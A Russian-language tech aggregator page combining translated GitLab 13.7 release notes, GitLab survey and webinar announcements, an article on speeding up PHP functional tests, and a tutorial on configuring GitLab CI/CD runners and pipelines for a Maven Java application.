Раньше, когда вы хотели запустить конвейер вручную, вам нужно было узнать нужные переменные, а затем ввести их на странице Запуск конвейера (Run Pipeline). Это может быть утомительно и чревато ошибками, если нужно ввести множество пар ключ-значение. Теперь форма для запуска конвейера будет сгенерирована для вашего конвейера с переменными, предварительно заполненными на основе определений переменных в вашем файле .gitlab-ci.yml, что сделает этот процесс более эффективным.


Pre-filled variables when running pipelines manually


Документация по ручному запуску конвейера и оригинальный тикет.


Собранные с помощью CI/CD пакеты всегда отображают информацию о сборке


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


Если вы публиковали пакеты в реестре пакетов, то могли заметить, что пакеты, созданные с помощью GitLab CI/CD, не всегда отображали коммит и конвейер, ответственные за создание или обновление вашего пакета. Это могло происходить по нескольким причинам.


Во-первых, возможно, мы ещё не поддерживали эту функцию, как в случае с Composer и Conan. Во-вторых, проблема возникала у тех из вас, кто обновлял одну и ту же версию пакета из разных веток или коммитов. Однако до недавнего времени пользовательский интерфейс отображал только первое развёртывание без каких-либо обновлений. Кроме того, на странице подробных сведений отображается ветка, в которой был создан пакет, а не самый последний коммит. В результате вам приходилось искать эту информацию, просматривая историю коммитов, что было не очень эффективно.


В дальнейшем любой пакет, собранный или обновлённый с помощью GitLab CI/CD, будет отображать информацию о коммите и конвейере в пользовательском интерфейсе пакетов. Чтобы избежать проблем с производительностью или пользовательским интерфейсом, будут отображаться только пять обновлений пакета. В майлстоуне 13.8 мы создадим дизайн, который поможет вам легко просматривать все данные, включая историю. А пока вы можете использовать API пакетов, чтобы смотреть всю историю сборки данного пакета.


Packages built with CI/CD always display build info


Документация по реестру пакетов и сборке пакетов с помощью GitLab CI/CD и оригинальный тикет.


Используйте предопределённые переменные с прокси зависимостей


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


С помощью проксирования и кэширования образов контейнеров из Docker Hub прокси зависимостей помогает вам повысить производительность ваших конвейеров. Несмотря на то, что прокси-сервер предназначен для интенсивного использования с CI/CD, для использования этой фичи вам нужно было определить свои собственные переменные или прописать значения в вашем файле gitlab.ci-yml. Это затрудняло начало работы для тех, кто работает один, и не позволяло использовать его в качестве масштабируемого решения, особенно для организаций с множеством различных групп и проектов.


В дальнейшем вы можете использовать предопределённые переменные окружения в качестве интуитивно понятного способа для прокси зависимостей. Поддерживаются следующие переменные:


  • CI_DEPENDENCY_PROXY_USER: пользователь CI для входа в прокси зависимостей,
  • CI_DEPENDENCY_PROXY_PASSWORD: пароль для входа в прокси зависимостей,
  • CI_DEPENDENCY_PROXY_SERVER: сервер для входа в прокси зависимостей,
  • CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX: префикс образа для извлечения образов через прокси зависимостей.

Попробуйте и дайте нам знать, что вы думаете!


Документация по аутентификации в прокси зависимостей с помощью CI/CD и оригинальный тикет.


Результаты сканирований безопасности в виджете мерж-реквеста стали удобнее


(CORE, STARTER, PREMIUM, FREE, BRONZE, SILVER) Стадия цикла DevOps: Secure


С помощью SAST и поиска секретных ключей, которые теперь доступны для всех пользователей, мы упростили жизнь всем пользователям GitLab, взаимодействующим с результатами сканирования безопасности в мерж-реквесте, за счёт облегчения доступа к результатам сканирования безопасности. Ранее результаты сканирования безопасности были доступны только на странице Обзор конвейера, и вы должны были знать, где искать, чтобы найти их там. Теперь все мерж-реквесты будут показывать, были ли для них запущены проверки безопасности, и помогут вам найти артефакты задания. Это изменение не затрагивает работу с мерж-реквестами для пользователей плана Ultimate.


Improved MR experience for security scans


Документация по просмотру результатов сканирования безопасности в мерж-реквесте и оригинальный эпик.


Специальные ссылки на уязвимости


(ULTIMATE, GOLD) Стадия цикла DevOps: Secure


Мы ввели уязвимости как полноценные объекты в 12.10. Будучи объектом, каждая из них имеет уникальный URL-адрес, позволяющий напрямую перейти к деталям любой уязвимости. Несмотря на значительное улучшение видимости и согласованности, ссылки на уязвимости в тикетах и эпиках (в русской локализации GitLab цели) всё равно нужно копировать вручную в виде ссылок Markdown. Это делает неэффективным совместное использование, а ссылки на уязвимости в других областях GitLab более громоздкими, чем для других объектов, например тикетов.


Теперь на уязвимости можно ссылаться с помощью специальных ссылок. На них впервые будет опробован новый синтаксис [object_type:ID], который в конечном итоге распространится на другие существующие ссылки. Теперь вы можете быстро вставить ссылку на уязвимость из любого места, где обычно используется специальная ссылка, например из описания тикета или мерж-реквеста. Просто введите [vulnerability:123] в описании тикета, чтобы вставить ссылку на уязвимость с идентификатором 123 в том же проекте. Вы также можете добавить к идентификатору префикс пространства имён или проекта, чтобы ссылаться на уязвимости вне контекста текущего проекта.


Документация по специальным ссылкам и оригинальный тикет.


Смотрите, какие коммиты и конвейеры выполняются в форке, а какие в родительском проекте


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Release


После того, как мы решили проблему, описанную в тикете 217451 в GitLab 13.3, вы получили возможность разрешать разработчикам родительского проекта создавать конвейеры для мерж-реквестов в форках. Однако не было никакого способа узнать контекст, в котором был запущен конвейер.


В этом релизе вы сможете увидеть, какие коммиты и конвейеры выполнялись в проекте-форке, а какие в родительском проекте. Коммиты в форках отмечены уникальным значком и тултипом, что позволяет вам узнать, что они выполнялись из мерж-реквеста в форке. Это упрощает понимание контекста, в котором работал ваш конвейер, и устраняет необходимость более детально изучать источник.


See which commits and pipelines run in the fork project vs. the parent project


Документация по запуску конвейеров в родительском проекте для мерж-реквестов из проекта-форка и оригинальный тикет.


Запросы к базе данных выполняются быстрее при использовании балансировщика нагрузки


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Доступность


Многие запросы к базе данных повторяются несколько раз, так что их можно кэшировать для повышения общей производительности. Для GitLab можно кэшировать примерно 10% всех запросов. В GitLab 13.7 мы включили кэширование запросов к базе данных, когда используется балансировка нагрузки базы данных. На GitLab.com это приводит к кэшированию ~700 000 запросов каждую минуту и сокращает среднее время выполнения запросов вплоть до 10%.


Для запросов, которые выполняются более 100 раз, мы уменьшили продолжительность запроса на 11-31% и кэшировали ~30% всех операторов SELECT, которые бы в противном случае выполнялись на реплике базы данных.


Документация по балансировке нагрузки на базу данных и оригинальный тикет.


Для новых установок по умолчанию используется PostgreSQL 12


(CORE, STARTER, PREMIUM, ULTIMATE) Доступность


Начиная с GitLab 13.3 PostgreSQL 12 был доступен в качестве опции как для пакетов Omnibus, так и для нашего Helm chart. PostgreSQL 12 улучшает производительность, а также предлагает значительные преимущества при индексировании и секционировании.


Начиная с GitLab 13.7 новые установки GitLab будут по умолчанию использовать PostgreSQL 12. Чтобы выполнить обновление вручную, запустите gitlab-ctl pg-upgrade.


Многонодовые инстансы базы данных должны будут переключиться с repmgr на Patroni до обновления с помощью Patroni. Затем можно обновить и повторно синхронизировать вторичные ноды Geo.


Документация по настройкам баз данных в GitLab 13.3 и более поздних версиях и оригинальный тикет.




Полный текст релиза и инструкции по обновлению/установке вы можете найти в оригинальном англоязычном посте: GitLab 13.7 released with merge request reviewers and automatic rollback upon failure.


Над переводом с английского работали cattidourden, maryartkey, ainoneko и rishavant.

Подробнее..

GitLab oпрос ждем Bаших предложений

09.02.2021 20:10:35 | Автор: admin


После успешного live-вебинара на тему Автоматизация процессов с GitLab CI/CD, который мы провели в oктябре, мы хотели бы узнать, какие темы ещё интерeсуют Вас.

Пожалуйста, воспользуйтесь приведенным ниже опросом, чтобы сообщить нам о том, что вы хотели бы услышать во время нашего следующего вебинара. Или просто оставьте свой комментарий с предложениями.

Мы с нетерпением ждем результатов опроса и надеемся также увидеть Вас на нашем следующем мероприятии.
Подробнее..

Приглашаем на Live-Вебинар GitLab Auto DevOps 8. апреля 2021, 1500-1600 МCK

18.03.2021 22:21:23 | Автор: admin


Приглашаем Bас на наш вебинар на тему GitLab Auto DevOps: магия самонастраивающихся пайплайнов.

Владимир Дзалбо, Архитектор Решений компании GitLab, расскажет о том, как функционал GitLab Auto DevOps упрощает процесс описания CI/CD процессов; помогает с изучением и задействованием всех возможностей GitLab как единой платформы для разработки программных продуктов:

  • сборки и тестирования
  • поискa уязвимостей
  • создания релизов
  • выкатa приложений в реальные окружения


Кроме этого мы поговорим, почему Auto DevOps, благодаря своей гибкости это взрослый и готовый для использования в реальных проектах инструмент.

Алексей Ионин, Softmart, сделает обзор типов различных подписок GitLab, действующих на текущий момент, и подробнее остановится на некоторых функциональных особенностях редакции Premium, наиболее востребованных на нашем рынке. Также будут затронуты наиболее острые вопросы лицензирования, которые постоянно возникают у клиентов.

Когда: 8 апреля, 15:00 -16:00 (MSK)
Где: Zoom Вебинар

Зарегистрироваться
Подробнее..

Так как же не страдать от функциональных тестов?

22.04.2021 18:21:21 | Автор: admin

На написание этой статьи меня подтолкнуло обсуждение докладов с Heisenbug 2021 в нашем корпоративном чате. Причиной является тот факт, что достаточно много внимания уделяется правильному написанию тестов. В кавычках потому что на бумаге все действительно логично и аргументированно, однако на практике такие тесты получаются достаточно медленными.

Эта статья ориентирована скорее на новичков в программировании, но возможно кто-то сможет вдохновиться одним из описанных далее подходов.

Я думаю, все знают принципы хороших тестов:

  • Тест должен быть атомарным, т.е. проверять единицу логики (например, один HTTP-метод или один метод класса)

  • Тест должен быть изолированным, т.е. прохождение тестов не должно зависеть от порядка их выполнения

  • Тест должен быть повторяемым, т.е. выполнение теста локально и в CI должно приводить к одному результату

Проблема возникает тогда, когда вы начинаете пытаться реализовывать подобные тесты и сталкиваетесь с реальностью: pipeline всего из 3000 функциональных тестов проходит около двух часов!


Методы, которые я хочу описать, были выработаны непосредственно в ходе эволюции текущего приложения компании, т.е. сильно связаны с нашим контекстом. Поэтому далее я хочу кратко описать структуру наших тестов.

Любой запуск функциональных тестов для API можно разделить на следующие этапы:

  1. Применить миграции (Структура БД)

  2. Применить фикстуры (Тестовые данные в БД)

  3. Выполнить HTTP-запрос

  4. Выполнить необходимые проверки

Как вы знаете, атомарность значит, что мы должны проверять только одну функциональную единицу. В нашем случае мы имеем дело с HTTP API, поэтому такой единицей будет вызов метода API.

Для обеспечения требования повторяемости (а также, чтобы тесты в принципе были близки к реальности) в ходе тестирования используется настоящая СУБД той же версии, которая используется на промышленной среде. Для каналов передачи данных, по возможности, тоже не делаются заглушки: поднимаются и другие зависимости вроде Redis/RabbitMQ и отдельное HTTP приложение, содержащее моки для имитации вызовов сторонних сервисов.

Требование изолированности отчасти обеспечивается отдельными фикстурами для тестов, а также отдельным процессом сборки DI-контейнера приложения между тестами.

В итоге получается примерно следующий интерфейс:

Пример описания запроса
{  "method": "patch",  "uri": "/v2/project/17558/admin/items/physical_good/sku/not_existing_sku",  "headers": {    "Authorization": "Basic MTc1NTg6MTIzNDVxd2VydA=="  },  "data": {    "name": {      "en-US": "Updated name",      "ru-RU": "Обновленное название"    }  }}
Пример описания запроса
{  "status": 404,  "data": {    "errorCode": 4001,    "errorMessage": "[0401-4001]: Can not find item with urlSku = not_existing_sku and project_id = 17558",    "statusCode": 404,    "transactionId": "x-x-x-x-transactionId-mock-x-x-x"  }}
Пример описания самого теста
<?php declare(strict_types=1);namespace Tests\Functional\Controller\Version2\PhysicalGood\AdminPhysicalGoodPatchController;use Tests\Functional\Controller\ControllerTestCase;class AdminPhysicalGoodPatchControllerTest extends ControllerTestCase{    public function dataTestMethod(): array    {              return [                // Negative cases                'Patch -- item doesn\'t exist' => [                        '001_patch_not_exist'                ],            ];    }}

Структура директории с тестами:

TestFolder Fixtures    store       item.yml Request    001_patch_not_exist.json Response    001_patch_not_exist.json   Tables    001_patch_not_exist        store            item.yml AdminPhysicalGoodPatchControllerTest.php

Такой формат тестов позволяет полностью абстрагироваться от фреймворка, с помощью которого написано приложение. При этом при написании необходимо в большинстве своем работать только с файлами json и yml (практически никакого кода), поэтому этой задачей могут с легкостью заниматься тестировщики без опыта программирования или аналитики (при написании приемочных тестов на новый функционал).

...

Теперь, после того, как я описал контекст, в котором осуществлялись работы по оптимизации, давайте же наконец перейдем непосредственно к приемам.

1. Применять миграции единожды

Миграция это скрипт, который позволяет перевести текущую структуру БД из одного консистентного состояния в другое.

Возможно это достаточно очевидный совет (даже не возможно, а точно), но всегда имеет смысл накатывать миграции базы данных до запуска всех тестов. Упоминаю я это только потому, что на моей практике мне приходилось принимать код от аутсорса, в котором как раз база дропалась после каждого теста.

Кроме миграций в приложении используются также фикстуры набор тестовых данных для инициализации БД.

Может возникнуть вопрос а что, если и фикстуры тоже применять один раз? Т.е. заполнить полностью тестовыми данными все таблицы и использовать эти данные для последующих тестов?

Суть в том, что если фикстуры накатываются только 1 раз, то порядок выполнения тестов начинает играть роль, ведь изменения, выполненные командами, не сбрасываются! Но некоторое компромиссное решение будет описано ниже.

2. Кэшировать миграции

Чем дольше живет приложение, тем больше миграций он несет вместе с собой. Усугубляться все может сценарием, в котором несколько приложений работают с одной БД (соответственно и миграции общие).

Для одной из наших самых старых схем в БД существует около 667 миграций на текущий момент. А таких схем не один десяток. Надо ли говорить, что каждый раз применять все миграции может оказаться достаточно расточительным?

Идея в том, чтобы применить миграции и сделать дамп интересующих нас схем, который уже будет использоваться в последующих CI-задачах.

Пример скрипта для сборки миграций
#!/usr/bin/env bashif [[ ! -f "dump-cache.sql" ]]; then    echo 'Generating dump'    # Загрузка миграций из удаленного репозитория    migrations_dir="./migrations" sh ./scripts/helpers/fetch_migrations.sh    # Применение миграций к БД    migrations_dir="./migrations" host="percona" sh ./scripts/helpers/migrate.sh    # Генерируется дамп только для интересующих нас схем (store, delivery)    mysqldump --host=percona --user=root --password=root \      --databases store delivery \      --single-transaction \      --no-data --routines > dump.sql    cp dump.sql dump-cache.sqlelse    echo 'Extracting dump from cache'    cp dump-cache.sql dump.sqlfi

Вы можете использовать механизм кэширования, если CI это позволяет. В нашем случае в качестве кэш-ключа используется хэш от файла, в котором указана git-ветка с актуальными для текущей ветки миграциями.

Пример CI-job (gitlab)
build migrations:  stage: build  image: php72:1.4  services:    - name: percona:5.7  cache:    key:      files:        - scripts/helpers/fetch_migrations.sh    paths:      - dump-cache.sql  script:    - bash ./scripts/ci/prepare_ci_db.sh  artifacts:    name: "$CI_PROJECT_NAME-$CI_COMMIT_REF_NAME"    paths:      - dump.sql    when: on_success    expire_in: 30min

3. Использовать транзакции БД при применении фикстур

Одним из возможных подходов для оптимизации может быть использование транзакции для накатывания фикстур. Идея заключается в том, чтобы обернуть весь тест в транзакцию, а после его выполнения просто ее откатить. Получается следующий алгоритм:

  1. Применить фикстуры

  2. В цикле для каждого теста:

    1. Начать транзакцию

    2. Выполнить тест

    3. Проверить результат

    4. Откатить транзакцию

При локальном запуске 19 тестов (каждый из которых заполняет 27 таблиц) по 10 раз были получены результаты (в среднем): 10 секунд при использовании данного подхода и 18 секунд без него.

Что необходимо учесть:

  • У вас должно использоваться одно соединение внутри приложения, а также для инициации транзакции внутри теста. Соответственно, необходимо достать инстанс соединения из DI-контейнера.

  • При откате транзакции счетчики AUTO INCREAMENT не будут сбрасываться, как это происходит при применении TRUNCATE. Могут возникнуть проблемы в тестах, в которых в ответе возвращается идентификатор созданной сущности.

Пример кода
public static function setUpBeforeClass(): void{        parent::setUpBeforeClass();        foreach (self::$onSetUpCommandArray as $command) {            self::getClient()->$command(self::getFixtures());        }}.../** * @dataProvider dataTestMethod */public function testMethod(string $caseName): void{        /** @var Connection $connection */        $connection = self::$app->getContainer()->get('doctrine.dbal.prodConnection');        $connection->beginTransaction();                $this->traitTestMethod($caseName);        $this->assertTables(\glob($this->getCurrentDirectory() . '/Tables/' . $caseName . '/**/*.yml'));                $connection->rollBack();}

4. Разделить тесты по типу операции

В любой API всегда есть ряд методов, которые не изменяют состояние базы, т.е. только читают и возвращают данные. Имеет смысл выделить тесты для таких методов в отдельные классы/методы и так же, как и в предыдущем варианте, накатывать фикстуры единожды (отличие в том, что не требуются доработки с транзакцией).

Что необходимо учесть:

  • Необходимо действительно контролировать, чтобы тестируемые методы не изменяли данные в БД, которые могут повлиять на прохождение теста. Например, в принципе допустимо изменение какого-либо рода счетчика обращений к методу, если этот счетчик никак не проверяется в тестах.

Подобный функционал был доступен в том числе в библиотеке dbunit, однако сейчас библиотека не поддерживается. Поэтому у нас в компании был написан некоторый велосипед, которые реализует подобные функции.

Пример кода
public function tearDown(): void{        parent::tearDown();        // После первого выполненного теста массив команд DB-клиента будет обнулен        // Поэтому в последующие разы фикстуры не будут применяться        self::$onSetUpCommandArray = [];}public static function tearDownAfterClass(): void{        parent::tearDownAfterClass();        self::$onSetUpCommandArray = [            Client::COMMAND_TRUNCATE,            Client::COMMAND_INSERT        ];}

5. Распараллелить выполнение тестов

Тесты это операция, которая явно напрашивается на распараллеливание. И да, в действительности распараллеливание потенциально дает всегда наибольший прирост к производительности. Однако, здесь есть ряд проблем.

Распараллелить выполнение тестов можно как в рамках целого pipelineа, так и в рамках конкретной джобы.

При распараллеливании в рамках pipelineа необходимо просто создать отдельные джобы для каждого набора тестов (Используя testsuite у phpunit). У нас тесты разделены по версии контроллера.

Пример кода
<testsuite name="functional-v2">        <directory>./../../tests/Functional/Controller/Version2</directory></testsuite>
functional-v2:  extends: .template_test  services:    - name: percona:5.7  script:    - sh ./scripts/ci/migrations_dump_load.sh    - ./vendor/phpunit/phpunit/phpunit --testsuite functional-v2 --configuration config/test/phpunit.ci.v2.xml --verbose

Альтернативно можно распараллелить тесты в пределах одного джоба, используя, например, paratest. Библиотека позволяет запускать несколько процессов для выполнения тестов.

Однако в нашем случае такой подход будет неприменим, т.к. фикстуры разных процессов будут перетирать друг друга. Если же все процессы будут использовать один и тот же набор фикстур, а тесты будут выполняться в рамках транзакции (чтобы не видеть изменения в БД от других тестов), это не даст никакого прироста, т.к. из-за транзакционности операции в БД будут банально выполняться последовательно.

Если подвести итог:

  • Сделать несколько отдельных джоб на уровне CI самый простой способ ускорить прохождение тестов

  • Распараллелить функциональные тесты в рамках одной джобы сложно, но подобный подход может быть приемлем для юнит-тестов

  • Стоит учесть, что из-за накладных расходов (порождение нового процесса, поднятие нового контейнера для тестов) выполнение тестов параллельно может быть медленнее. Если у вас недостаточно свободных раннеров в CI, то такое деление может не иметь смысла.

...

6. Не пересоздавать экземпляр приложения

В общем случае для того, чтобы полностью сбросить все локальное состояние приложения между тестами достаточно просто создать новый экземпляр. Это решение в лоб и его будет достаточно в большинстве случаев. Однако наше приложение разрабатывается достаточно давно, поэтому в нем накопилось много логики, которая выполняется при старте. Из-за этого bootstrap между тестами может занимать ощутимое время, когда тестов становится много.

Решением может быть использовать всегда один и тот же инстанс приложения (сохранять его в статическое свойство класса тестов). В этом случае, опять же, тесты перестанут быть изолированными друг от друга, т.к. множество служб из DI-контейнера могут сохранять локальный стейт (например, какое-то кэширование для быстродействия, открытые соединения с БД и т.п.).

Как раз такое решение мы и применили, однако добавили некоторый костыль, который позволяет очищать локальное состояние всех объектов в контейнере. Классы должны реализовывать определенный интерфейс, чтобы их состояние было сброшено между тестами.

Пример кода
interface StateResetInterface{    public function resetState();}
$container = self::$app->getContainer();foreach ($container->getKnownEntryNames() as $dependency) {        $service = $container->get($dependency);        if ($service instanceof StateResetInterface) {                $service->resetState();        }}

Написание тестов это всегда такой же компромисс, как и написание собственно самого приложения. Необходимо исходить из того, что для вас приоритетнее, а чем можно пожертвовать. Зачастую нам однобоко рассказывают об идеальных тестах, в действительности реализация которых может быть сложна, работа медленна или поддержка трудозатратна.

После всех оптимизаций время прохождения в CI для функциональных тестов уменьшилось до 12-15 минут. Я, конечно, сомневаюсь, что описанные выше приемы в их изначальном виде окажутся полезны, но надеюсь, что они вдохновили и натолкнули на собственные идеи!

А какой подход к написанию тестов используете вы? Приходится ли их оптимизировать, и какие способы использовали вы?

Подробнее..

Настройка GitLab CI CD для Java приложения

19.02.2021 14:12:20 | Автор: admin

Из-за прекращения поддержи Bitbucket Setver пришлось переехать на GitLab.


В Bitbucket Server не было встроенного CI/CD, поэтому использовали Teamcity. Из-за проблемы интеграции Teamcity с GitLab, мы попробовали GitLab Pipline. И остались довольны.


Disclamer: У меня не так много опыта в CI/CD, так что статья скорее для новичков. Буду рад услышать конструктивную критику с предложениями по оптимизации скрипта сборки :)


Коротко о Gitlab Pipline


Если говорить простыми словами: сборка делится на задачи. Какие-то задачи выполняются последовательно и передают результаты следующим задачам, какие-то задачи распаралеливаются: например можно одновременно деплоить на сервер и в nexus.


Раннеры и задачи


Не обязательно один раннер отвечает за все задачи в сборке. Если на проекте два раннера, то первую задачу может взять один ранер, после ее выполнения вторую задачу возьмет другой раннер.


Раннеры бывают разных типов. Мы рассмотрим executor docker. Для каждой задачи создается новый чистый контейнер. Но между контейнерами можно передавать промежуточные результаты это называется кэширование.


Кэширование и его особенности


Механизм кэширования разрабатывал какой-то одаренный человек. Поэтому сразу разобраться, как оно работает, будет не просто. В отдельной статье можно прочитать о кэшировании подробнее.


Каждый раннер хранит кэш в папке /cache. Для каждого проекта в этой папке создается еще папка. Сам кэш хранится в виде zip архива.


Из-за наличия у каждого раннера своей папки для кэша, возникает проблема. Если один раннер кэшировал папку в первой задаче, а второй раннер взялся за выполнение второй задачи, то у него не окажется кэша из первой задачи. Чуть далее рассмотрим как это исправить.


Можно определить только один набор папок для кэша. Также только для всего набора можно выбрать политику кэширования. Например если вы уверены, что задача не изменит кэш, то можно его не загружать. Но нельзя запретить загружать например две папки из четырех.


Нет возможности установить глобальный кэш и добавить к нему дополнительные папки для конкретных задач.


Так же стоит знать, что кэш не удаляется после окончания сборки. При следующей такой же сборке старый кэш будет доступен.


Эти особенности усложняют создание инструкций для CI CD.


Артефакты


Помимо кэша между сборками можно передавать артефакты.


Артефакт это файлы, которые считаются законченным продуктом сборки. Например .jar файлы приложения.


В отличие от кэша, артефакт передается между раннерами. Из-за этого многие злоупотребляют использованием артефактов там, где стоит использовать кэш.


Следуйте следующим правилам:


  1. Если текущее задание может выполняться самостоятельно, но в присутствии контента работа будет идти быстрее, используйте кэш.
  2. Если текущее задание зависит от результатов предыдущего, то есть не может выполняться само по себе, используйте артефакты и зависимости.

Установка Gitlab Runner


Перед установкой ранера создадим папку с конфигурацией, чтобы не приходилось для изменений лезть в контейнер.


mkdir ~/runner_name

Само создание ранера выполняется в одну команду. Можно создать сколько угодно ранеров.


docker run -d --name gitlab-runner-name \  --restart always \  -v /var/run/docker.sock:/var/run/docker.sock \  -v /home/user/runner_name:/etc/gitlab-runner:z \  gitlab/gitlab-runner:latest

Мало создать раннер, теперь его нужно зарегистрировать в GitLab. Зарегистрировать можно на уровне всего GitLab, тогда сборки будут выполняться для любого проекта; на уровне группы выполнятся только для группы, и на уровне проекта.


Заходим в контейнер.


sudo docker exec -ti gitlab-runner-name bash

Внутри контейнера выполним команду регистрации. Регистрация происходит в интерактивном режиме.


gitlab-runner register

Отвечаем на вопросы:


Runtime platform                                    arch=amd64 os=linux pid=27 revision=888ff53t version=13.8.0Running in system-mode.                            Enter the GitLab instance URL (for example, https://gitlab.com/):http://git.company.name/Enter the registration token:vuQ6bcjuEPqc8dVRRhgYEnter a description for the runner:[c6558hyonbri]: runner_twoEnter tags for the runner (comma-separated):Registering runner... succeeded                     runner=YJt3v3QgEnter an executor: parallels, shell, virtualbox, docker+machine, kubernetes, custom, docker, docker-ssh+machine, docker-ssh, ssh:dockerEnter the default Docker image (for example, ruby:2.6):maven:3.3.9-jdk-8Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded! 

Тут все просто:


  1. Адрес вашего gitlab.
  2. Токен авторизации. Посмотреть его можно в настройках гурппы/проекта в разделе CI/CD Runners.
  3. Название раннера.
  4. Теги ранера, можно пропустить нажав Enter.
  5. Исполнитель сборки. Вводим docker.
  6. Образ, который будет использоваться по умолчанию, если не установлен другой.

После этого в настройках проекта можно посмотреть доступные раннеры.


Добавленный ранер GitLab


После регистрации, в папке /home/user/runner_name появится файл с настройками конфигурации config.toml. Нам нужно добавить docker volume для кэширования промежуточных результатов.


volumes = ["gitlab-runner-builds:/builds", "gitlab-runner-cache:/cache"]

Проблема кэширования.
В начале статьи я рассказал о проблеме кеширования. Ее можно решить с помощью монтирования одного volume к разным раннерам. То есть во втором своем раннере так же укажите volumes = ["gitlab-runner-cache:/cache"]. Таким образом разные раннеры будут иметь единый кэш.


В итоге файл конфигурации выглядит так:


concurrent = 1check_interval = 0[session_server]  session_timeout = 1800[[runners]]  name = "runner_name"  url = "gitlab_url"  token = "token_value"  executor = "docker"  [runners.custom_build_dir]  [runners.cache]    [runners.cache.s3]    [runners.cache.gcs]    [runners.cache.azure]  [runners.docker]    tls_verify = false    image = "maven:3.3.9-jdk-8"    privileged = false    disable_entrypoint_overwrite = false    oom_kill_disable = false    disable_cache = false    volumes = ["gitlab-runner-builds:/builds", "gitlab-runner-cache:/cache"]    shm_size = 0

После изменения перезапускаем раннер.


docker restart gitlab-runner-name

Что хотим получить от CI CD?


У нас на проекте было 3 контура:


  • dev-сервер, на него все попадает сразу после MR;
  • пре-прод-сервер, на него все попадает перед попаданием на прод, там проходит полное регресс тестирование;
  • прод-сервер, собственно сама прод среда.

Что нам было необходимо от нашего CI/CD:


  • Запуск unit-тестов для всех MergeRequest
  • При мерже в dev ветку повторный запуск тестов и автоматический деплой на dev-сервер.
  • Автоматическая сборка, тестирвоание и деплой веток формата release/* на пре-прод-сервер.
  • При мерже в master ничего не происходит. Релиз собирается при обнаружении тега формата release-*. Одновременно с деплоем на прод-сервер будет происходить загрузка в корпоративный nexus.
  • Бонусом настроим уведомления о статусе деплоя в Telegram.

Настройка GitLab CI для Maven


Что делать если у вас Gradle? Загляните в оригинал статьи, там я рассказываю про настройку и для Gradle. Она не сильно отличается.


Создайте в корне проекта файл .gitlab-ci.yml.


Настройку буду объяснять блоками, в конце прикреплю единый файл.


Вы можете указать нужный образ, вместо дефолтного образа у раннера.


image: maven:latest

Устанавливаем место хранения папки .m2 через переменные среды variables. Это понадобится, когда будем настраивать кэширование.


// ... ... ... ... ...variables:  MAVEN_OPTS: "-Dmaven.repo.local=./.m2/repository"// ... ... ... ... ...

Далее указываются этапы сборки. Они позволяют группировать задачи для одновременного выполнения.


// ... ... ... ... ...stages:  - build  - test  - package  - deploy  - notify// ... ... ... ... ...

  • build стадия сборки.
  • test стадия тестирования.
  • package стадия упаковки в jar.
  • deploy стадия деплоя на сервер.
  • notify стадия уведомления о провале.

Указываем непосредственно задачи для каждой стадии.


Сборка Build


// ... ... ... ... ...build:  stage: build  only:    - dev    - merge_requests    - /^release\/.*$/  except:    - tags  script:    - 'mvn --settings $MAVEN_SETTINGS compile'  cache:    paths:      - ./target      - ./.m2// ... ... ... ... ...

Раздел script выполняет linux команды.


Переменная GitLab CI/CD $MAVEN_SETTINGS необходима для передачи файла settings.xml, если вы используете нестандартные настройки, например корпоративные репозитории. Переменная создается в настройках CI/CD для группы/проекта. Тип переменной File.


Раздел only указывает для каких веток и тегов выполнять задачу. Чтобы не собирать каждую запушенную ветку устанавливаем: dev, merge_requests и ветки формата /release/*.


Раздел only не разделяет ветка это или тег. Поэтому мы указываем параметр except, который исключает теги. Из-за этого поведения за сборку на прод отвечают отдельные задачи. В противном случае, если бы кто-то создал тег формата release/*, то он бы запустил сборку.


Для защиты от случайного деплоя в прод джуном, рекомендую установить защиту на ветки dev, master, /release/*, а так же на теги release-*. Делается это в настройках проекта GitLab.


Раздел cache отвечает за кэширование. Чтобы каждый раз не выкачивать зависимости добавляем в кэш папку ./target и ./.m2.


Запуск unit тестов test


Создаем задачу для запука тестирования.


// ... ... ... ... ...test:  stage: test  only:    - dev    - merge_requests    - /^release\/.*$/  except:    - tags  script:    - 'mvn --settings $MAVEN_SETTINGS test'  cache:    paths:      - ./target      - ./.m2// ... ... ... ... ...

Ничем не отличается от стадии сборки, только команда мавена test. Кэш необходимо указать и в этой задаче, чтобы получить его и отправить дальше.


Упаковка package


Следом добавляем задачу упаковки с выключенными тестами. Она уже выполняется только для веток dev и release/*. Упаковывать Merge Request смысла нет.


// ... ... ... ... ...package:  stage: package  only:    - dev    - /^release\/.*$/  except:    - tags  script:    - 'mvn --settings $MAVEN_SETTINGS package -Dmaven.test.skip=true'  artifacts:    paths:      - target/*.jar  cache:    policy: pull    paths:      - ./target      - ./.m2// ... ... ... ... ...

Обратите внимание на policy: pull и artifacts. В следующих задачах не нужны исходники и зависимости, так что policy: pull отключает кэширование. Для сохранения результатов сборки используем artifacts, который сохраняет .jar файлы и передает их следующим задачам.


Деплой deploy


Теперь осталось задеплоить артефакт на dev-сервер с помощью ssh и scp.


// ... ... ... ... ...deploy_dev_server:  stage: deploy  only:    - dev  except:    - tags  before_script:    - which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )    - eval $(ssh-agent -s)    - echo "$SSH_PRIVATE_KEY" | ssh-add -    - mkdir -p ~/.ssh    - chmod 700 ~/.ssh    - ssh-keyscan $DEV_HOST >> ~/.ssh/known_hosts    - chmod 644 ~/.ssh/known_hosts  script:    - ssh $DEV_USER@$DEV_HOST "[ ! -f $DEV_APP_PATH/app_name.jar ] || mv $DEV_APP_PATH/app_name.jar $DEV_APP_PATH/app_name-build-$CI_PIPELINE_ID.jar"    - scp target/app_name.jar $DEV_USER@$DEV_HOST:$DEV_APP_PATH/    - ssh $DEV_USER@$DEV_HOST "sudo systemctl stop app_name_service && sudo systemctl start app_name_service"    - sh ci-notify.sh // ... ... ... ... ...

Не забудьте создать переменные в GitLab CI CD:


  • $DEV_USER пользователь системы, от чьего имени будет происходить деплой.
  • $DEV_HOST ip адрес сервера.
  • $DEV_APP_PATH путь до папки приложения.
  • $SSH_PRIVATE_KEY приватный ключ.

